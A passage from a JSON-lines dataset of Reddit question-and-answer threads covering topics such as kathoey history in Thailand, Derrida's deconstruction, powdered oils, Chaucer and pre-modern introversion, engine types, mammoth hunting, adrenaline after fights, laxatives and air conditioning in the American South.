Though they were banned from representing Thailand internationally, the 2000 movie *Iron Ladies* dramatizing their journey became the highest grossing domestic Thai movie until that point. This film likely marked a turning point in Thai cinema as kathoeys began stop being viewed solely as sympathetic, tragic characters.\n\nThis is all relevant because representation of kathoeys in Thai media has helped to socially destigmatize transgenderism in Thailand relative to other Asian countries. Thailand's relaxed stance on both prostitution and SRS has made the country a destination for both trans individuals and sex tourists from the US. It is especially appealing because few other countries allow such easy access to gender affirming surgery, especially at such a low price point. This real influx of tourists has spurred depictions of Thailand in the US media as a destination for individuals seeking the the Thai kathoey community and the medical industry that has supported it. \n\n\n\nSources: \n\n* Chokrungvaranont, Prayuth et al. \u201cThe Development of Sex Reassignment Surgery in Thailand: A Social Perspective.\u201d The Scientific World Journal 2014 (2014): 182981. PMC. Web. \n\n* \u00dcnaldi, Serhat. \u201cBack in the Spotlight: The Cinematic Regime of Representation of Kathoeys and Gay Men in Thailand.\u201d Queer Bangkok: 21st Century Markets, Media, and Rights, edited by Peter A. Jackson, Hong Kong University Press, 2011, pp. 59\u201380. JSTOR, _URL_0_.", "Michael Peletz\u2019s book *Gender Pluralism in Southeast Asia since Early Modern Times* is basically tailor-made to answer your question. \n\nWhile staying very focused on the trail of evidence specific to each society/state he investigates (some from the Austronesian islands and then Burma and Thailand from mainland southeast Asia), Peletz agrees with earlier scholarship that shared geographic/climatological context and millennia of contact among themselves and with \u201cfringe\u201d states (India, China, Japan) have led to a certain porousness of cultural features even amidst awesome diversity. Practices of and attitudes towards gender pluralism are one of the most interesting areas to compare and contrast. Examining Southeast Asia as a region of individual societies is especially useful for this thread because pre/early 20th century Thailand is very under-studied with respect to gender and sexuality.\n\nPeletz discusses gender pluralism in southeast Asian societies in several successive stages: pre/early-European contact (through the early 20th century); the era of state formation and European colonialism (18th-20th centuries); and globalization/entrenchment of capitalism and European-style modernity (mid-20th century). For the earliest stage, it\u2019s important to be aware, many of his sources are 19th/early 20th-century European travelers and ethnographers. (There is additional material from several of the states and Portuguese, especially, explorers going back to the 14th and 16th centuries respectively). However, through comparisions among societies and by examining both change and continuity over the late 19th to mid-20th century sources, Peletz says he is confident that he can discuss genuinely \u201cearly modern\u201d gender pluralism.\n\nThe most important clarification to make is that we are primarily talking about *gender* here, not sexuality or sexual orientation. Tamara Loos makes this point much more strongly than Peletz, but I think it\u2019s an important one. The early modern and modern West foregrounds sexuality and emphasizes hetero-*sexual* relations as the central axis of gender/sexuality; early modern Southeast Asian societies focused on hetero-*gender* (and cisgender) lifestyle and relationships.\n\nIn early modern Southeast Asian societies, ideas of gender arose out of/with a cosmological concept of the gendered sacred: the divine encompassed both female and male (and agender, in some origin myths). That is to say, there was real power in both female and male/femininity and masculinity. Our information about gender pluralism comes mostly from a religious context, in fact. The Bugis of South Sulawesi provide the best-known example of the most common form of gender pluralism. One class of their sacral priesthood is called the *bissu*. In the early modern era\u2014it\u2019s attested by both Sulawesi and Portuguese sources from the 16th century on\u2014the *bissu* included normatively gendered female-assigned priests as well as male-assigned priests who *reassigned* themselves as cisgender female. \n\nIn a hybrid local belief system with elements of Islam, Buddhism, and indigenous Austronesian religion, the *bissu* served as royal priests and guardians of their sacred texts. Transgender *bissu* adopted normatively-female clothing and mannerisms. They also set themselves up as women in society\u2014most critically, as wives. European writers made the immediate leap to sex, denouncing the trans *bissu* as sodomites. My point here isn\u2019t to say whether or not homo-*sexual* relationships occurred in any given hetero-*gender* couple; the point is that for the early modern Bugis, that question was, well, beside the point.\n\nWhile the *bissu* and their counterparts were permanent, lifelong transitions, it\u2019s interesting to observe temporary transgender adoption as well. In 19th century Aceh, there were competitions of religious and literary knowledge between teams from mosques and madrasas from neighboring villages. A key player on each team was the *sadati*--a \u201cdancing boy\u201d who adopted the dress and manner of a young woman for the course of the contest. European ethnographers documented homo-sexual relations among the members of a given team; interestingly, this included both homo-gender and hetero-gender relationships.\n\nI\u2019ve concentrated on the Bugis out of Peletz\u2019s examples because there is also documented, accepted gender-crossing outside a religious context. Both *calabai* (men reassigned as women) and\u2014somewhat unusually--*calatai* (women reassigned as men) crossed the gender boundary for the duration of their lives. Grandiose-minded imperialist James Brook in 1848 noted:\n\n >  The strangest custom I observed is, that some men dress like women, and\nsome women like men; not occasionally, but all their lives, devoting themselves to the occupations and pursuits of their adopted sex. In the case of\nthe males, it seems that the parents of a boy, upon perceiving in him certain\neffeminacies of habit and appearance, are induced thereby to present him\nto one of the rajahs, by whom he is received.\n\nThe really interesting thing to me is that despite the insinuations we might read into this, Brook is careful to distance this gender transgression from sexual transgression: becoming a calabai does not mean one engages in homosexual behavior. Now, he\u2019s making a point about what he sees as the horrors of the Ottoman Empire as much as promoting the Bugis here, so I\u2019m not sure how far we should take that part at face value. What\u2019s more interesting, especially given the existence of calatai as well as calabai, is Brooks\u2019 recognition of an overall good status for women in Bugis society. He is particularly impressed by women\u2019s roles in government and the lack of prostitution.\n\nOur self-appointed white rajah (no, really) isn\u2019t the only one concerned with prostitution in relation to gender and gender pluralism. In the later chapters of his book, Peletz turns to the reasons for Southeast Asia\u2019s mid-20th century shift towards opprobrium against homosexuality that partially brought gender-crossing down with it. One of the biggest causes he finds is a marked drop in the status of women and femininity. The commodification of sex into prostitution, including through Western military presence and sex tourism, might give some individual women a sense of empowerment over their own circumstances but has *overall* helped drive the objectification of women. While the *bissu* and counterparts found increased sacred power in blending their born-maleness with lived-femaleness, the power of femaleness declined markedly.\n\nThe changing role of religion in Austronesian and peninsular societies, too, has played a factor. The more organic and cosmological rooting of spirituality has been overwritten by the \u201crationalization\u201d of beliefs (expressed as doctrine/facts to learn).\n\nAnd finally, as in the West, political centralization, state formation, and the rise of capitalism were powered by the drive for rigidity, order, social stratification, *normativity*. \n\nBut most important, Peletz stresses, these processes have by no means been complete. The work of individual activists as well as the dyed-in inheritance from centuries or millennia of gender pluralism have helped modern southeast Asian cultures maintain at least an ambivalence towards trans people and culture in the face of military dictatorship, outside imperialism, and religious fundamentalism. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/message/compose/?to=RemindMeBot&amp;subject=Reminder&amp;message=%5BLINK%20INSIDE%20SQUARE%20BRACKETS%20else%20default%20to%20FAQs%5D%0A%0ANOTE:%20Don%27t%20forget%20to%20add%20the%20time%20options%20after%20the%20command.%0A%0ARemindMe", "https://www.reddit.com/r/RemindMeBot/comments/24duzp/remindmebot_info/", "https://www.reddit.com/r/AskHistorians/wiki/bestof", "http://www.reddit.com/message/compose?to=%2Fr%2FAskHistorians&amp;subject=Question%20Regarding%20Rules", "http://www.reddit.com/r/AskHistorians/search?q=title%3A%22Sunday+Digest%22&amp;restrict_sr=on&amp;sort=new&amp;t=all", "https://www.facebook.com/askhistorians/", "https://www.reddit.com/r/AskHistorians/comments/6a5duv/a_statistical_analysis_of_10000_raskhistorians/", "https://www.reddit.com/r/AskHistorians/wiki/rules", "http://www.reddit.com/r/AskHistorians/submit?selftext=true&amp;title=%5BMETA%5D", "http://twitter.com/askhistorians"], ["www.jstor.org/stable/j.ctt1xwdfx.8"], []]}
{"q_id": "r6d53", "title": "deconstruction in literature and poetry.", "selftext": "If nothing can be interpreted outside the text, what is Derrida trying to say about objectivity?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/r6d53/eli5_deconstruction_in_literature_and_poetry/", "answers": {"a_id": ["c43eijq"], "score": [3], "text": ["To understand deconstruction, you first have to understand communication, so I'll start with that.\n\nHumans are not telepathic. We cannot know directly what each other are thinking. So instead what we do is translate our thoughts into patterns: either sounds, or ink on paper, or gestures, or something else. Then other people see or hear (or feel, etc.) the patterns and try to translate them back into thoughts. There are a couple of possible problems that would make it so that the thoughts that one person sends are not the same thoughts that another person receives. First, of course, there could be the simple problem that the pattern got messed up. But we have gotten pretty good at fixing that problem. The second and harder problem is that the way one person translates thoughts into patterns and vice versa could be different than the way another person does it. This can't be easily fixed, because of course the only way we can find out about the way other people create patterns is through the patterns themselves.\n\nAssuming that we don't have ways to translate patterns already in our heads when we are born (and even if we do, they are very simple compared to the complicated communication we use as adults), the way we learn to translate patterns is seeing them again and again in the same situations. For example, if every time someone gave you food he said, \"tabe\", after a while you'll probably guess that he means something like \"food\" or \"eat\". As you progress, the patterns used become part of the situations themselves. For example, you may find from experience that the pattern \"A intes B\" means that the unknown pattern A is equivalent to the known pattern B. So in situations where someone uses the \"intes\" pattern, you can guess the meaning of A. The important thing to realize is that the way you translate patterns is based on guesses made by experience of the situations in which the patterns occur.\n\nOK, so now on to deconstruction. Literature and poetry are very complex patterns, even more so than normal communication. Most of the time the meaning that the author is trying to communicate is not just the ordinary meaning of the words. For example, Ezra Pound wrote a short poem called \"In a Station of the Metro\" that goes \"The apparition of these faces in the crowd; petals on a wet, black bough.\" He was not just trying to say that he had seen those two things, or even just that one reminded him of the other. So how do we find out what he meant? Well, we have to figure out how he translates meaning into patterns, and in order to do that we have to look at the experiences he had that taught him how to do that. This is called the \"context\" of the poem. When Derrida said there is nothing outside the text, this is what he meant: that the meaning of the text depends on everything around it, and therefore you should actually treat them as part of the text itself if you want to understand the meaning.\n\nThere are two specific aspects of deconstruction that need to be mentioned in order to understand what deconstructionists are talking about. The first is that the same issues of context occur for the reader as they did for the author. That is, when you read something, you should not forget that the way you read it is also determined by the way you learned how to read. So when reading, you actually need to keep *two* contexts in mind. The second aspect is that, in any text that is complex enough to be considered literature, there will be internal contradictions and inconsistencies. However, the *nature* of these contradictions can tell us a lot about the context and method in which the text was created, so it's worthwhile to study them and their relationship with the intended meaning of the text. They are aspects of the context which even the author himself was unaware of or unable to change, so they are in a way the most honest sources of information about the context within which the author worked.\n\nPS.- Obviously this was a miserable failure at talking to a five-year-old, but I tried to keep the *principles* simple even if the vocabulary was not. Also, I'm not an expert, this is just how I understand it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ayq9tp", "title": "powdered oils(?)", "selftext": "How is it that some brands of instant noodles, where the seasoning packet seems to be completely dry and the noodles cooked alone do not seem to have released oil into the water, have oil when mixed? Is the oil is made into/from powder - and if so, how is dehydrated oil a thing when oil by definition doesn\u2019t combine with water? Is the seasoning powder just mixed very uniformly with an unnoticeably small amount of regular oil? This feels like a stupid question, but I\u2019ve been confused since I noticed it.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ayq9tp/eli5_powdered_oils/", "answers": {"a_id": ["ei2hq9n", "ei2vwkl"], "score": [5, 7], "text": ["Oil is basically liquid wax or fat. Think of how butter can be a solid bar or it can be melted. Typically saturated fats are solid at room temperature. \n\nAdditional ramen noodles are fried at the factory, so they may have absorbed a little bit of oil. You can sometimes feel it on the surface of the dehydrated noodles before you add the hot water.", "The oil is converted to a powder by combining it with maltodextrin, a kind of starch. The maltodextrin dissolves away in water, which releases the liquid oil. You can even [make powdered oil at home!](_URL_0_) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.thoughtco.com/how-to-make-powdered-olive-oil-606428"]]}
{"q_id": "1yuevl", "title": "what are binomial coefficients and how do you calculate them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1yuevl/eli5_what_are_binomial_coefficients_and_how_do/", "answers": {"a_id": ["cfo0rb7"], "score": [2], "text": ["Here's a great post on using combinations using multiplication which has the nice side effect of helping you understand binomials better: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://betterexplained.com/articles/how-to-understand-combinations-using-multiplication/"]]}
{"q_id": "76mj94", "title": "What would loners/shut-ins/introverts do during the pre-modern period? Did such a stereotype or kind of person even exist?", "selftext": "For instance, hobbies such as reading, board games, video games, art, etc. are typical of a kind of individual which prefers to be left alone. I'm not making declarations about this group of people, but I think we can agree that this kind of concept is a 'thing.' Put simply, was this a 'thing' back for pre-modern people?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/76mj94/what_would_lonersshutinsintroverts_do_during_the/", "answers": {"a_id": ["dofaqwf"], "score": [21], "text": ["Any answer to this question has to come with the caveat that time, place and societal position will all inflect what pre-modern introversion might have looked like, and who might have experienced it. The monastic clergy, for example, will have had different opportunities in the regulation of social interaction than their secular counterparts. Note that I say *different*, not *greater* or *fewer*  \u0336  we often think of monasteries in terms of cells and scriptoria, but off course they also housed refectories and cloisters, and offered structured opportunities for communal devotion. The same sort of nuance needs to be brought to the differences in social experience between rural villages and bustling cities, between merchants and more static tradespeople, between the nobility of the earlier and later periods, etc. Some circumstances might seem counterintuitive \u2013 anchorites, for instance, could become hubs of village gossip despite their virtual entombment. There are countless such distinctions to be made that would affect whether or not a person could easily control their interaction with social communities, and what they could get up to when they were alone.\n\nThat said, I think that Geoffrey Chaucer\u2019s frequent depictions of introverted experience and behaviour make for an interesting case study of the subject at a particular place and time. He writes about social interaction quite a lot (if interested in this, Strohm\u2019s *Social Chaucer* remains the go-to, later built on by work from David Wallace and Marion Turner), but also about withdrawal from or reluctance to participate in that interaction. I should stress that Chaucer\u2019s social world is anchored to a specific place and time; he was a member of late fourteenth-century London\u2019s emerging urban middle class, and that dictates the sorts of social structures about which he writes \u2013 most famously the Canterbury pilgrims, a multifarious but recognisably bourgeois group. I\u2019d also add that if Chaucer\u2019s representation of introversion is based on personal experience, it never prevented his fairly successful career as civil servant, diplomat, and minor courtier. I don\u2019t, however, think we should discount what he writes on the subject as total fiction.\n\nIn *The House of Fame*, the narrator (a version of the poet) is carried to the heavens by a talking eagle, who says that Jupiter has taken pity on the poet\u2019s sheltered lifestyle (all quotation from the *Riverside* edition, translation my own):\n\n >  And noght oonly fro fer contree\n >  \n >  That ther no tydynge cometh to thee,\n >  \n >  But of thy verray neyghebores,\n >  \n >  That duellen almost at thy dores,\n >  \n >  Thou herist neyther that ne this;\n >  \n >  For when thy labour doon al ys,\n >  \n >  And hast mad alle thy rekenynges,\n >  \n >  In stede of reste and newe thynges\n >  \n >  Thou goost hom to thy hous anoon,\n >  \n >  And, also domb as any stoon,\n >  \n >  Thou sittest at another book\n >  \n >  Tyl fully daswed ys thy look;\n >  \n >  And lyvest thus as an heremyte,\n >  \n >  Although thyn abstynence ys lyte.\n >  \n >  (*HF* 647\u201360)\n >  \n >  *And not only do no tidings come to you from afar, but from your very neighbours \u2013 who live just outside your door \u2013 you won\u2019t hear anything at all. For when your work is done, and you\u2019ve finished your accounts, instead of relaxation and new experiences, you go immediately to your house. And, as silent as a stone, you sit at yet another book until your countenance is dazed. And thus you live like a hermit \u2013 although you are less than abstemious!*\n\nThere\u2019s more than a passing resemblance here to the Clerk of *The Canterbury Tales*, who would rather have twenty books of Aristotle than fine robes (*CT* I 293\u20136) and \u201cnoght o word spak ... than was neede [spoke no more than was necessary]\u201d (*CT* I 304), and Chaucer\u2019s depiction of himself in that poem, who \u201clookest... evere upon the ground\u201d (*CT* VII 696\u20137). Both are needled by the Host, who was based on a real Southwark taverner and bailiff, into taking part in the social structure of the story contest despite their reluctance to loudly claim a place for themselves (as, for example, the drunken Miller does). Similarly, Troilus of *Troilus and Criseyde* frequently retreats from society in the first half of the poem to contemplate his lovesickness, and toward the end of poem (having lost Criseyde again) attends some ill-advised festivities at the house of Sarpedoun in which he is simply psychologically incapable of participation (and ultimately asks to leave early). Just as the *Canterbury Tales* Clerk and Chaucer are bustled by the Host, Troilus is relentlessly nudged into social interaction by his friend Pandarus. That\u2019s the common element of these depictions; whether these characters wish to be alone in order to read, or to think, or simply to temporarily *not* participate in social community, there is always an outside world \u201cjust outside the door\u201d yammering for entry. Whether Chaucer was himself given to introversion or not, he responds to the constant social overload of life in late medieval London, and the desire to be alone that that could inculcate.\n\nChaucer\u2019s not alone (fittingly) in expressing this sentiment. Thomas Hoccleve, the early fifteenth-century London bureaucrat, scribe and poet makes for a particularly interesting example (although vexingly I don\u2019t have an edition to hand to quote). In his *Complaint*, he addresses his life before, during and after a period of mental illness (which seems to have been based on a genuine affliction). Both in the *Complaint* and in his *Male Regle*, he paints a picture of his vivacious social life before his illness \u2013 he chats with colleagues from the Privy Seal, he frequents taverns, he is on spirited terms with the Thames boatmen. Afterwards, this changes strikingly \u2013 not because of the illness itself, but because of its social consequences. He fears that those with whom he was once on good terms are anticipating his relapse, and so agonises over his every public action that might be held against him: his movements, his expressions, his tone. Ultimately, he chooses social disengagement over social embarrassment, and goes about his life alone. As in my selections from Chaucer, Hoccleve\u2019s introversion has as much to do with the abrasiveness of the city itself as with his own psyche.\n\nObviously literary examples have to be taken with a pinch of salt, but it\u2019s worth noting that both Chaucer and Hoccleve imagine introverted experiences in passages with autobiographical flavour (albeit stylised and fictionalised). Both contribute to our understanding of what urban living in the late Middle Ages could be like. As I stressed above, of course, different places, times and societal positions will have changed how introversion might manifest. But I certainly think it\u2019s an experience that predates the modern period, and that it may occasionally have shared some root influences \u2013 particularly as the social fabric of spaces like cities became more recognisably \u201cmodern\u201d.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "44d6q3", "title": "what's makes radial engines, wankel engines and piston engines so different? (advantages and disadvantages). why has no one attempted to place a radial engine in a car?", "selftext": "I know of one such exemption, which was a le-mans racing team a while back. But being ignorant of engines like i am, i couldn't really understand much of what they said.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/44d6q3/eli5_whats_makes_radial_engines_wankel_engines/", "answers": {"a_id": ["czpenl6", "czpf4r2", "czpf8up"], "score": [13, 3, 8], "text": ["Oh, people [have put radials in cars](_URL_0_) but they're bulky and complex.\n\nWankels are different again - they're very smooth-running but apart from Mazda they've never made major inroads into cars because they're not so good on fuel and the tip-seals aren't perfect.\n\nOrdinary piston engines, for all their faults, are compact, powerful, and very well understood.", "Heres a gif of the rotary in use. When seals wear off around those triangular points, leaks start to happen and your engine eventually goes to shit\n\n_URL_0_", "Internal combustion engines have a number of different models because each one has pros and cons that suit them for different tasks.\n\nIf you're thinking of radial engines like the ones you see in World-War I planes, the main advantages of that design were that it was very short front-to-back, and all the cylinders could be accessed from the front (more or less) making it a bit easier to maintain. They also could have air-vane like heat sinks made directly onto the cylinders, so that they didn't need radiators (which saved weight). The downside to radial engines like this are that they are often quite large in terms of side-to-side or height. This isn't an issue for aircraft since fuselages or engine mountings are usually round or cylindrical. For this reason it is also hard to put soundproofing layers around them and still fit them in a \"normal\" car engine space.\n\nIn World War II, the US Navy specifically ordered aircraft with radial engines because they were more compact length-wise and that meant more planes could be fit on the deck.\n\nWankel engines are a type of eccentric rotary engine, and they have a lot of advantages over \"regular\" internal combustion engines like the one in your car, but at a tradeoff. Most of their advantages come from the fact that they have fewer moving parts and typically weigh less, which improves their power-to-weight ratio. However due to how their cycle works, its hard for their combustion chambers to have as good of a seal as reciprocating cylinder engines, and the combustion cycle must also be slower. This is suitable for burning diesel rather than gasoline--which means more power but less speed-- but compounded with the sealing problem, means smellier exhaust, and more of it. That's typically why big trucks and locomotives are diesel, but mom-and-pop cars or racing vehicles are not.\n\nWay back when automobiles were becoming popular, people equated quality of cars with their top speed. Faster=better. This popularized vehicles which were capable of high speed (burning some variety of gasoline), and this ubiquitous choice of the buying public to the automobile industry has just resulted in an inertia of consensus ever since (mostly). We now know enough about building motors that internal combustion engines can be built to tailor nearly every kind of option, but we've become really good at making what you could call \"regular\" cylinder engines fairly fast and relatively cheap.\n\nSince the purpose of an engine is just to generate work or mechanical energy, the choice is heavily affected by what you need the energy for and where. Some railroads that operate high on mountains still use steam locomotives, not for nostalgia, but because diesel motors suffer power drops with lower pressure, whereas steam (external combustion) does not.\n\n_URL_0_\nPeople have tried to make a rotary engine car, but it didn't fare very well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.google.co.uk/search?q=car+radial+engine&amp;safe=off&amp;source=lnms&amp;tbm=isch&amp;sa=X&amp;ved=0ahUKEwjkwaGJ3-HKAhXMAJoKHU6cAtAQ_AUIBygB&amp;biw=1599&amp;bih=765"], ["http://i.imgur.com/jw9aFeB.gif?1?4198"], ["https://upload.wikimedia.org/wikipedia/commons/3/31/Monaco-Trossi1935.jpg"]]}
{"q_id": "3yxt9m", "title": "What tactics were used by humans to hunt mammoths?", "selftext": "I hope this question isn't too speculative for /r/AskScience.  A [recent article](_URL_0_) confirms spears were used against Mammoths which got me wondering what were the tactics used during the hunt? How did humans take down such large animals? \n\n\n*How many humans had to be involved?\n\n\n*How many spears were needed to take down a Mammoth? \n\n\n*Were any other tools used, such a rope to tie down the animal?\n\n\n*Did hunters spear and let the animal bleed out?\n\n\n*What do we know based on current hunting techniques? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3yxt9m/what_tactics_were_used_by_humans_to_hunt_mammoths/", "answers": {"a_id": ["cyhmpmk", "cyhoo1l", "cyht9be"], "score": [4, 3, 14], "text": ["What I know, from psychology and etology studies, is that humans tried to engage big animals, such as mammoths, when one of them were isolated from the group. They would have one put one human to distract it (probably a skinny, fast one), while the others, stronger and bigger, would throw spears at them and attack it's legs, trying to make it fall so they could group up and hit it in the head with stones and/or pieces of hard wood.\n\nThat's about what I know, not sure if it's 100% true, read it somewhere in a book about pre-historic hunting and farming.", "Historically Native Americans would use the skins of other animals as camouflage to get close to buffalo, they would then all attack the bufflao by throwing spears and shooting arrows at it or chasing it off a cliff. It is likely that early humans used similar tactics to close the gap between them and the mammoth.", "Unfortunately, you're not going to find much on this topic aside from pure speculation.  The evidence that humans actually even hunted mammoths isn't strong enough to be beyond question.  What one archaeologist interprets as butchering marks on bones might be interpreted by another archaeologist as marks from trampling.  Even when there is clear evidence of butchering, it's difficult to tell if the animal was hunted and killed or merely scavenged.  Anyone who claims to know the details you seek is speculating wildly.  \n\nThat being said, we can draw some modern comparisons.  For example, African elephants.  How do people go about hunting these highly intelligent, fast, and aggressive animals without guns?  There are some (crazy) people who actually hunt elephants with bows.  It works.  It's stupid and incredibly dangerous, but it's not certain suicide.  If bows work, than atlatls (spear throwers) probably would have too.  \n\nStampeding mammoths off of cliffs in the fashion of a buffalo jump might also have worked, but elephants (and likely mammoths too) are a *lot* more intelligent than buffalo and might have been much harder to predict.  Even humans stampede in the right circumstances, so intelligence does not confer absolute protection from this tactic.  \n\nPersistence hunting might have worked on lone individuals.  In this tactic, you chase an animal and rely on your endurance being greater than that of the animal (Surprisingly, humans are fantastic endurance runners).  A group of humans could have chased a mammoth, perhaps throwing spears if it allows them to get too close.  Over the course of several hours, the humans would keep the mammoth moving.  Eventually it would overheat, tire and become easy to kill.  Any wounds inflicted in the process would hasten the process, but the humans might prefer to avoid getting within spear-chucking range until the mammoth is very tired.  Elephants are absolutely deadly when they charge, so getting close to a mammoth before it's very worn out might have been exceedingly dangerous.  \n\nA popular trope in museums is to show a group of humans (sometimes neanderthals) taking out a mammoth with hand-held (not thrown) spears and an individual on a small cliff tossing a head-sized rock onto the mammoth from above.  In reality, this would be ridiculously ineffective.  The thrown rock would not have enough momentum to seriously injure the mammoth and the humans on the ground with sharp sticks have a high probability of being seriously injured or killed.  We don't accept a high risk of death when traveling to the grocery store, so neither would our prehistoric ancestors accept such a high probability of death for securing dinner.  However, you can imagine modifying this tactic slightly to be a lot more effective and far less dangerous.  Imagine a much bigger cliff (too large to fit inside a museum).  With sufficient height, thrown rocks would be deadly, even to a mammoth.  Part of the team would attempt to herd the mammoths within rock-throwing range of this cliff while others wait in ambush.  The hunters on the ground would likely not get close enough to confront the mammoths, likely relying on their scent, noise, etc. to drive the mammoths toward the ambush.  \n\nThis is all speculation, of course.  "]}, "title_urls": [], "selftext_urls": ["http://siberiantimes.com/science/casestudy/features/picture-that-proves-man-hunted-the-woolly-mammoth/"], "answers_urls": [[], [], []]}
{"q_id": "2mgk5v", "title": "i was in a streetfight. afterwards, i was shaking uncontrollably and stammering - what's going on?", "selftext": "I imagine it's something to do with an andrenaline comedown, but what does this mean, and why did it make my muscles tremble like I was on some ghetto washing machine?\n\nEdit: thanks to all those who replied, got some good stories in there and /u/mrgilly94 explained it at the molecular level. Cheers!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2mgk5v/eli5_i_was_in_a_streetfight_afterwards_i_was/", "answers": {"a_id": ["cm3zfiq", "cm40a6w", "cm42p04", "cm44agp", "cm45up2", "cm47lbv", "cm4ozuc"], "score": [72, 23, 5, 2, 3, 5, 2], "text": ["Adrenaline dump. Your body no longer needs the adrenaline but it's still in there. You're describing the physiological effects.", "Adrenaline's physiologic purpose is for exactly the situation described. You were physiologically preparing to fight to the death or flee for your life. As soon as the threat is removed, endorphins flood your brain--these cause a positive limbic state. This combination of a maximally activated physiologic state and positive lambic state is experienced as joy or ecstasy. \n\nSide note, if you won the fight you should experience a rush of testosterone preparing you to consummate your victory by mating with females.\n\nThis link is the best explanation: _URL_0_", "Martial artist/fighter chiming in here.  What the other comments have said is right physiologically, but without the science talk here's my two cents.  I notice that this happens when I don't use up all that energy/adrenaline.  If I go all three rounds and I'm just tired then I don't shake or stutter or stammer.  But if the fight ends suddenly or if it ends before it really starts, then I'm just all sorts of shakey-shakey.  I always say it's because I got \"cheated\" out of a fight and my body is still ready to go.", "I was jumped 7 years ago, ended up putting 4 people in the hospital with a tire iron. Shook uncontrollably for at least an hour after that, still get the shakes when I have flashbacks. Top post already explained it, excess adrenaline.", "This happens to me at the gym pretty often. I finish a heavy set and someone starts talking to me. I can hardly form a sentence. ", "It means that the mortal kombat \"finish him\" sign was flashing over your head but no one managed to get a final hit in. Luckily it sounds like the fight timed out so as soon as you pick a new character you should have full heath again.", "So, OP...how did the fight go, anyway?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://m.sherdog.com/news/articles/Fistic-Medicine-Becoming-Superhuman-23104"], [], [], [], [], []]}
{"q_id": "5bm8rn", "title": "how does a laxative work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5bm8rn/eli5_how_does_a_laxative_work/", "answers": {"a_id": ["d9pm463", "d9qg9tv"], "score": [118, 2], "text": ["It depend on which type of laxative. There are osmotic, stimulant, lubricant and bulk agent laxatives.\n\nOsmotic work by forcing water to stay inside the intestine. It also attract water from the surrounding tissues, therefore increasing the water content. Adding water increase the volume of the stool triggering a reflex. When nerves in the intestine sense that it's almost full, it trigger the need to go to the toilet.\n\nBulk agent have a similar mechanism of action but, it use dietary fibers. Since we can't digest these fibers, they pass through our digestive system unchanged. They also absorb water which increase their volume. Adding more volume trigger the same mechanism described earlier.\n\nStimulant laxatives are irritating to the intestinal walls. The intestine react by increasing its peristaltism as a way to get rid of the irritating agent as fast as possible. Peristaltism is the mechanism by which muscles along our digestive tract force food (and stool) down the tube until the undigested remnants are pushed through the anus.\n\nLubricant laxatives act by coating the intestinal walls with an oily substance. Since it's oily, it's also slippery making it easier for the stool to go down the tube.", "The 3 main ways. \n\nSoftening the poor by increasing water content. \n\nMaking the muscles contract more to push it out.\n\nLubricating so the poo slides out more easily. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1kfp0e", "title": "How did air conditioning change the culture of the southern United States?", "selftext": "Growing up in south Georgia, I cannot imagine how people lived before AC. How did it change southern culture? If there are academic sources or books on this, please share. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1kfp0e/how_did_air_conditioning_change_the_culture_of/", "answers": {"a_id": ["cbohkmb", "cbohrn5", "cboiq7v", "cboj6me", "cbokpkb", "cbowh20", "cboz68d", "cbozt1n"], "score": [74, 31, 227, 32, 45, 9, 6, 3], "text": ["AC greatly effected the Federal government (D.C. being considered a southern city, with British diplomats receiving \"tropical\" hardship pay when assigned to there).\n\nPrior to AC, Congress stayed in session only until June. They did not re-adjourn until October, This break along with the Christmas break ment that Congress was only in session 8 month a year.\n\nIn addition, most presidents made use of a \"Summer White House\" and were absent from Washington most of the summer. _URL_0_\n\nAccording to David Brinkley in \"Washington Goes to War,\" Washington D.C. pretty much shut down every summer with most government employees going to cooler locations.", "I'm less familiar with the effects of air conditioning on the southern part of the US, but maybe discussing what I do know about the west will be helpful.  \n\nFrom a city planning perspective, the widespread manufacturing of modern air conditioning units starting in the 1940s drove the development of several parts of the country that were previously inaccessible or sparsely populated.  This and other design innovations (prefabrication was a big one), combined with returning veterans looking to sieze a piece of the American dream, drove the creation of suburbs such as [this one](_URL_0_) outside of Las Vegas.  \n\nOn a smaller scale, air conditioning almost certainly changed building design as well. Now you could have those iconic glass curtain walls without negatively affecting the indoor environment.  I assume that the layout of residential buildings changed as well since the focus could be taken away from the placement of windows to create cross ventilation.\n\nI can only speculate about the effects that it might have had on southern culture.  You might want to check out 'Cool Comfort: America's Romance with Air Conditioning' by Marsha Ackermann, who is a social historian and discusses more of the social aspects of AC than the technical ones.", "Architecture was different.  Look at the old southern plantation houses, many have a coupla on top with windows that open, below that is a wide stair that leads directly to the wide doors downstairs. This allowed the doors to be opened a breeze to come in and hot air to rise up the stairs and out leaving the house. In addition most the windows were built so they could be opened floor to ceiling (the bottom portion being a solid door like structure not glass) providing additional airflow. High ceilings take the heat away from traffic areas. Lots of overhanging shade trees particularly on the south and west sides. Porches keep the sun from shining into windows. Arrange the front and rear door in line with the prevailing wind and a breeze can pass through the house. Some features would be found in poorer houses also, like the porch and front-rear corridor.\n\nNowadays most home in the south are built to northern designs without these features and are meant to heat or cool a central area and retain that temperature mechanically using the outer rooms as insulation for the central core. No porches, no copula and low ceilings. Small windows, the addition of a \"Florida room\", a glass room for plants that is meant to attract sunlight not avoid it.\n\nThe lack of a porch significantly changed southern culture. That was the social hub of the home, and since it was often on front, or even wrapped around the house it was a social connection to the neighbors. Changing the front 